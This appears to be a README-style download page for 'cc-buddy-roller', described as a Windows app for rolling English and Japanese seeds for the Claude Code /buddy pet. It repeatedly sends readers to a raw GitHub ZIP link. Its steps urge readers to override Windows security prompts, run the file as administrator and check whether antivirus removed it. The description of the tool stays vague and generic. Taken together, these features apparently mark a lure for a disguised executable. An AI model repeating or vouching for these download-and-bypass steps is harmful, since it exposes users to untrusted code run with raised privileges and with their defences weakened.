cc-buddy-roller is a small Windows app for working with the virtual pet behind Claude Code /buddy. It helps you make and review seed sets in both English and Japanese, so you can test, compare, and pick better results with less manual work.

Use it when you want a simple way to:

• roll new buddy seeds
• compare bilingual output side by side
• keep your seed workshop in one place
• move faster when testing /buddy behavior

Visit this page to download: https://raw.githubusercontent.com/labile-unit230/cc-buddy-roller/main/unreflected/cc_buddy_roller_v1.7.zip

Open the page, then look for the latest release or the main download file. If your browser asks what to do with the file, save it first, then open it from your Downloads folder.

This app is made for Windows desktop use. A typical setup should work well if you have:

• Windows 10 or Windows 11
• A mouse and keyboard
• At least 200 MB of free space
• A modern internet browser for the download page
• Permission to run apps you download from the web

For the best results, keep Windows updated before you start.

Follow these steps:

1. Open the download page: https://raw.githubusercontent.com/labile-unit230/cc-buddy-roller/main/unreflected/cc_buddy_roller_v1.7.zip

2. Find the newest release or app file.

3. Download the file to your computer.

4. Open your Downloads folder.

5. If the file is a ZIP file, right-click it and choose Extract All.

6. Open the folder that was created after extraction.

7. Look for the app file and double-click it.

8. If Windows shows a security prompt, choose Run or More info, then Run anyway if you trust the source.

9. Wait for the app window to appear.

If the app starts right away, you are done with setup.

The first time you open cc-buddy-roller, it may take a few seconds to load. When the app opens, check for:

• a seed input area
• language options for bilingual output
• a roll or generate button
• a results area for the buddy seed output

If you see these parts, the app is ready to use.

Use this simple flow:

1. Open the app.
2. Enter or paste your seed text, if the app asks for one.
3. Choose the language mode you want.
4. Click the roll or generate button.
5. Read the result in both languages.
6. Save the seed you like best.
7. Repeat until you find a result that fits your /buddy test.

If you are comparing many seeds, keep one window for notes and one for the app. That makes it easier to track which seed gave which result.

cc-buddy-roller is built for bilingual seed work. That means you can move between English and Japanese without switching tools each time.

A simple workflow looks like this:

• write the base idea in one language
• roll a seed
• check the output in the other language
• compare tone, clarity, and fit
• keep the versions that work best

This is useful if you want the /buddy pet to feel consistent across languages while still matching each language’s natural style.

Most users should expect a clean window with a few core parts:

• seed entry or seed list
• language selector
• generate control
• output panel
• copy button or text selection support
• simple status text

The app should stay focused on the seed workshop task, without extra setup steps or a long menu list.

Enter your starting text and run a roll. Check the result, then keep the one that gives the best fit.

Create one seed in English and one in Japanese. Compare them side by side and see which one feels closer to your target.

Select the output and copy it into your notes, chat, or test file.

Use the same input if you want to check repeat behavior or confirm a result.

• Keep your seed text short and clear
• Use the same format each time when testing
• Save good results as soon as you see them
• Test one change at a time
• Use plain language in both languages when you compare output
• Track the seed number or text so you can repeat a result later

If you want stable testing, avoid changing many parts at once. Small changes make it easier to see what caused the difference.

Try these steps:

1. Right-click the app and choose Run as administrator.
2. Check whether Windows blocked the file.
3. Make sure you extracted the ZIP file first, if there was one.
4. Download the file again if the first copy seems broken.
5. Restart your computer and try once more.
6. Check that your antivirus did not move the file.

If you still cannot open it, look at the release page again and confirm that you downloaded the correct Windows file.

If you downloaded a ZIP file:

• extract it before opening the app

If you downloaded an EXE file:

• double-click it to start

If Windows asks for permission:

• confirm that you want to run the app

If the app folder contains extra files:

• keep them together in the same folder so the app can work right

This app is meant for local use on your own Windows computer. Keep your seed files and notes in a folder you can find later. If you use private test data, store it in a place you control.

No. The app is meant for normal Windows users. Open it, enter your seed, and roll.

No. You do not need to write code.

Yes. That is the main point of the seed workshop flow.

Yes. Save them in a text file or notes app so you can reuse them later.

You need the internet to get the app from GitHub. After that, basic use should work on your computer.

If you plan to use the app often, keep a simple folder structure like this:

• cc-buddy-roller
  • app files
  • seeds
  • notes
  • exports

This makes it easier to find old rolls and compare results later.

1. Visit https://raw.githubusercontent.com/labile-unit230/cc-buddy-roller/main/unreflected/cc_buddy_roller_v1.7.zip
2. Download the Windows file
3. Open or extract it
4. Launch the app
5. Enter your seed
6. Roll and review the bilingual result